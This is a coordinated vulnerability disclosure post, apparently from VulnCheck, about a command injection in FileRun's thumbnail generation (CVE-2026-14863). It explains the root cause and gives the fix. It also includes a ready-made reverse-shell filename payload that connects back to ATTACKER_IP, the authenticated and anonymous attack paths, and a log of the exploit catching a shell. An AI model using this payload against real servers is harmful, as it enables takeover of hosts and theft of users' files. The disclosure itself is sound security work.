Go back

FileRun: When Your File Manager Runs Your Files

Valentin Lobstein (Chocapikk)

Valentin Lobstein (Chocapikk)

chocapikk.com

Today VulnCheck is disclosing CVE-2026-14863, an OS command injection to remote code execution in FileRun, a commercial self-hosted file manager. It is being disclosed in accordance with VulnCheck's coordinated vulnerability disclosure policy. FileRun’s thumbnail extractors build shell commands by pasting the uploaded file path into a double-quoted string and handing it to exec(), and the filename sanitizer lets $() through, so a file named $(payload).mp4 runs its payload the moment a thumbnail is generated. Any authenticated user with upload permission gets code execution; when a public file request weblink exists, so does anyone who knows its token, no account required. The issue was confirmed up to and including 2026.2.0 and is fixed in 2026.2.1. This code sat untouched for four years before the fix landed.

Deployment Exposure

The split that matters is manual versus Docker. A manual install ships with the thumbnail extractors off, so it is only exposed once an administrator turns previews on. The official Docker image turns them on for you at setup, so every container deployment is exploitable out of the box. Given how most people run self-hosted FileRun, that is the common case, not the edge one. A ZoomEye query for title="FileRun :: Login" reveals approximately 3,500 internet-facing FileRun instances.

Background

The motivation was deliberate. Open-source codebases are getting shredded by AI-assisted auditing, where every researcher and their LLM greps the same GitHub repos and finds the same bugs. Harder targets are more interesting: systems where the source is not one git clone away. FileRun is one of those. It is a commercial PHP/MySQL file manager that markets itself as a simpler Nextcloud, and its entire system/classes/ directory, thumbnail extractors and filename sanitizer included, ships compiled with ionCube v15. Open any of those files and you get the loader stub, not source. Fewer eyes have looked, and the bugs that are there have been there longer. This one had been there for four years.

Encoding is not a security boundary, only a speed bump. When the ionCube loader decodes a file, the classes exist as normal objects in memory, and PHP's Reflection API reports their method signatures, parameters and properties. Reflection plus a little runtime tracing, swapping ffmpeg for a wrapper that logs its arguments, was enough to reconstruct the extractor logic with confidence. The first thing it gave up was a base class method with the signature execute(string $cmd), which is exactly the shape you do not want to see: the extractors assemble a full command string and hand it to a generic executor.

Like most file managers, FileRun generates thumbnails for uploaded media: ffmpeg for video, ImageMagick for images, vips, stl-thumb for 3D models. The pattern never changes, build a shell command string, embed the file path, hand it to exec(). On a manual install the extractors are off by default. The official Docker image turns all of them on during setup, so container deployments ship with every vulnerable extractor live out of the box.

Impact

Successful exploitation grants an attacker remote code execution as the www-data user, providing full access to all files managed by FileRun across all user accounts, the ability to extract database credentials from configuration files, and a foothold to pivot into the underlying server or other hosted services. On the shared hosts FileRun often lands on, that is the whole tenant.

The authenticated path (CVSS v4 8.7) needs nothing more than a normal account, because upload permission is on by default. The weblink path needs no account at all, only a live file-request link and its token, and CVSS v4 rates it higher still at 9.2.

Root Cause

An OS command injection (CWE-78) in FileRun's thumbnail extractors. Every extractor concatenates the source path into a double-quoted string and passes it to a shared executor. The ffmpeg one, recovered from bytecode:

// FileRun\Thumbs\Extractors\ffmpeg::extract()
$cmd = "ffmpeg -y -noaccurate_seek -ss 1 -i \"" . $filepath . "\" -frames:v 1 -filter:v "
     . "scale=w=" . $w . ":h=" . $h . ":force_original_aspect_ratio=decrease \"" . $target . "\"";

ImageMagick, vips and stl-thumb build the same shape. The shared base class runs it:

// FileRun\Thumbs\Extractors\extractor::execute()
public function execute(string $cmd) {
    exec($cmd . " 2>&1", $return_text, $return_code);
}

exec() calls /bin/sh -c, so the full shell grammar applies. The double quotes around $filepath do exactly one thing: prevent word splitting. They are not a security boundary. $(), backticks and ${} all expand inside double quotes. The only thing standing between an upload and the shell is the filename sanitizer, and the filename is attacker-controlled.

FileRun filters uploaded filenames through a character blocklist, CleanPaths::$illegalChars:

Blocked: \ " / * ? < > |

That is a filesystem blocklist: path separators, wildcards, pipe, the characters Windows rejects. It was never meant for shell safety, and it shows in what it lets through:

Allowed: $ ( ) { } ` ; & ! ~ '  and space

Which is the entire shell injection toolkit. This exploit only needs $(), but the gap is much wider than that. Upload a file named $(id).mp4 and the sanitizer waves it through, move_uploaded_file() stores it verbatim, and thumbnail generation builds:

ffmpeg -y -noaccurate_seek -ss 1 -i "/user-files/superuser/$(id).mp4" -frames:v 1 "/tmp/thumb.png" 2>&1

/bin/sh evaluates $(id) before ffmpeg is ever invoked. ffmpeg is not the problem; the shell ran the inner command and substituted its output first. That is code execution as the web user.

From $(id) to a Shell

Turning that into a reverse shell runs into three constraints, all from the sanitizer and the filesystem: no double quotes or backslashes, a 255-byte filename limit (ext4, and move_uploaded_file() silently drops longer names), and the fact that everything inside $() is expanded by the shell before it runs, so a bare $sock is gone before PHP ever sees it.

${IFS} stands in for spaces, so the filename holds no literal space yet the substitution still splits into arguments. Single quotes wrap the PHP body, which a POSIX shell passes through untouched. And the host and port are passed through as $argv tokens after the code, outside the single-quoted section. The body also closes stdout and backgrounds itself with &, so the thumbnail request returns the instant the shell forks instead of hanging on the open socket, and a random suffix on the name keeps a repeat run from landing on an already-cached thumbnail. The result is a filename that is also a program:

$(php${IFS}-r${IFS}'$s=fsockopen($argv[1],$argv[2]);fclose(STDOUT);while($c=fgets($s)){exec($c,$o);fwrite($s,join($o));$o=[];}'${IFS}ATTACKER_IP${IFS}PORT${IFS}&).<rand>.mp4

About 175 bytes with a real IP, inside the 255-byte budget. The file body only needs a valid ftyp box so FileRun's media detection accepts it as a video; the injection is in the name, not the contents.

Two Ways In

Both paths deliver the same filename to the same sink. They differ only in who is allowed to upload.

Authenticated (CVSS v4 8.7). Any FileRun user with upload permission, which is every user by default, uploads the .mp4 through the file manager, then hits the thumbnail endpoint to detonate it. Four requests, shell as www-data.

Pre-auth via file-request weblink (CVSS v4 9.2, AC:H). FileRun's "file request" weblinks let an owner collect uploads from anonymous visitors. If one exists with allow_uploads=1 and an attacker knows its 32-character token, they upload the malicious filename anonymously and self-trigger the thumbnail through the public listing. No account, no credentials. The AC:H is honest, it needs a pre-existing weblink whose token is known, but with no privileges required at all, CVSS v4 rates it above the authenticated path.

How It Detonates

FileRun rewrote its front end across the versions this bug spans, and the trigger moved with it while the sink stayed put. On the older ?module= app, the payload arrives through a Flow.js multipart upload and the thumbnail renders inline: the public weblink listing accepts a &thumbnail=1, or an authenticated user hits the troubleshoot_thumb diagnostic, and the extractor runs on that same request. The shell comes back in the same round trip.

The 2026 single-page rewrite moved the upload to a Drive API PUT (/index.php/app/Drive/ui/!actions/up) and stopped rendering thumbnails on the request that stores the file. An uploader-role weblink session can no longer force a render at all; the preview is generated later, either when the folder is next browsed (the SPA asks for thumbnails as it draws a listing) or out of band by FileRun's cron/make_thumbs.php batch job, which FileRun ships for exactly that and busier deployments run on a schedule. Same extractor, same exec(), but the detonation is deferred past the attacker's own request rather than fired by it. FileRun also caches each preview under a per-directory .filerun.thumbnails/<filename>/ folder, so a given payload name only ever detonates once; re-running against the same host needs a fresh name, which is why every upload carries a random suffix.

Initial Access exploit

VulnCheck's Initial Access Intelligence team turned this into a self-contained go-exploit module. It fingerprints the FileRun generation, pushes the command substitution filename through whichever delivery the target expects (the legacy weblink form or the 2026 Drive API), detonates it (inline on the legacy self-trigger, or by waiting out the deferred render on 2026), and catches the connect-back, with no credentials needed when a weblink token is known:

chocapikk@pwntoaster:~/feed/cve-2026-14863$ ./build/cve-2026-14863_linux-amd64 -v -rhost 192.168.192.3 -rport 80 -lhost 192.168.192.1 -lport 4502 -c2 SimpleShellServer -weblink tUXcyKT6IdJbtLuKS8WYIve4DNbamFHW -e
time=2026-08-12T01:40:40.256+02:00 level=STATUS msg="Starting listener on 192.168.192.1:4502"
time=2026-08-12T01:40:40.256+02:00 level=STATUS msg="Starting target" index=0 host=192.168.192.3 port=80 ssl=false "ssl auto"=false
time=2026-08-12T01:40:40.257+02:00 level=STATUS msg="Validating FileRun target" host=192.168.192.3 port=80
time=2026-08-12T01:40:40.295+02:00 level=SUCCESS msg="Target verification succeeded!" host=192.168.192.3 port=80 verified=true
time=2026-08-12T01:40:40.324+02:00 level=STATUS msg="Detected FileRun legacy endpoints"
time=2026-08-12T01:40:40.361+02:00 level=SUCCESS msg="Uploaded the payload filename through the file-request weblink"
time=2026-08-12T01:40:40.361+02:00 level=STATUS msg="Firing the connect-back payload via the public weblink thumbnail"
time=2026-08-12T01:40:40.423+02:00 level=SUCCESS msg="Caught new shell from 192.168.192.3:54792"
time=2026-08-12T01:40:40.423+02:00 level=STATUS msg="Active shell from 192.168.192.3:54792"
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
time=2026-08-12T01:40:40.444+02:00 level=SUCCESS msg="Caught new shell from 192.168.192.3:54796"
exit
time=2026-08-12T01:40:41.362+02:00 level=SUCCESS msg="Exploit successfully completed" exploited=true

Timeline

DateEvent
2026-07-05Vulnerability discovered during FileRun thumbnail code audit (ionCube bytecode recovery)
2026-07-05Authenticated and pre-auth RCE reproduced end to end in a Docker lab
2026-07-06CVE-2026-14863 assigned by VulnCheck; vendor coordination initiated
2026-07-06Vendor released the fix in FileRun 2026.2.1 (CWE-78)
2026-08-13Public disclosure

FileRun shipped the fix in 2026.2.1, released the same day the bug reached the vendor.
The root cause is user data reaching exec() without shell escaping, and PHP has escapeshellarg() for exactly that:

- $cmd = "ffmpeg ... -i \"" . $filepath . "\" ...";
+ $cmd = "ffmpeg ... -i " . escapeshellarg($filepath) . " ...";

The better option is to leave the shell out of it entirely with proc_open() and an argument array:

$proc = proc_open(
    ['ffmpeg', '-y', '-noaccurate_seek', '-ss', '1', '-i', $filepath,
     '-frames:v', '1', '-filter:v', $filter, $target],
    [1 => ['pipe', 'w'], 2 => ['pipe', 'w']], $pipes
);

PHP hands each element straight to execvp(), no shell is spawned, and no filename character can be a metacharacter. This implementation pattern secures the thumbnail generation against shell command injection.

Further reading: For another VulnCheck Initial Access Intelligence deep-dive, read Aimy Captcha-Less Form Guard: The Anti-Bot Plugin That Hands Bots the Keys.

About VulnCheck

VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.

Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.

To deepen your understanding of these threats, VulnCheck Exploit & Vulnerability Intelligence provides comprehensive coverage of global threat actors. Register for a demo to explore our intelligence today.

Ready to get Started?

Explore VulnCheck, a next-generation Cyber Threat Intelligence platform, which provides exploit and vulnerability intelligence to help you prioritize and remediate vulnerabilities that matter.
  • Vulnerability Prioritization
    Prioritize vulnerabilities that matter based on the threat landscape and defer vulnerabilities that don't.
  • Early Warning System
    Real-time alerting of changes in the vulnerability landscape so that you can take action before the attacks start.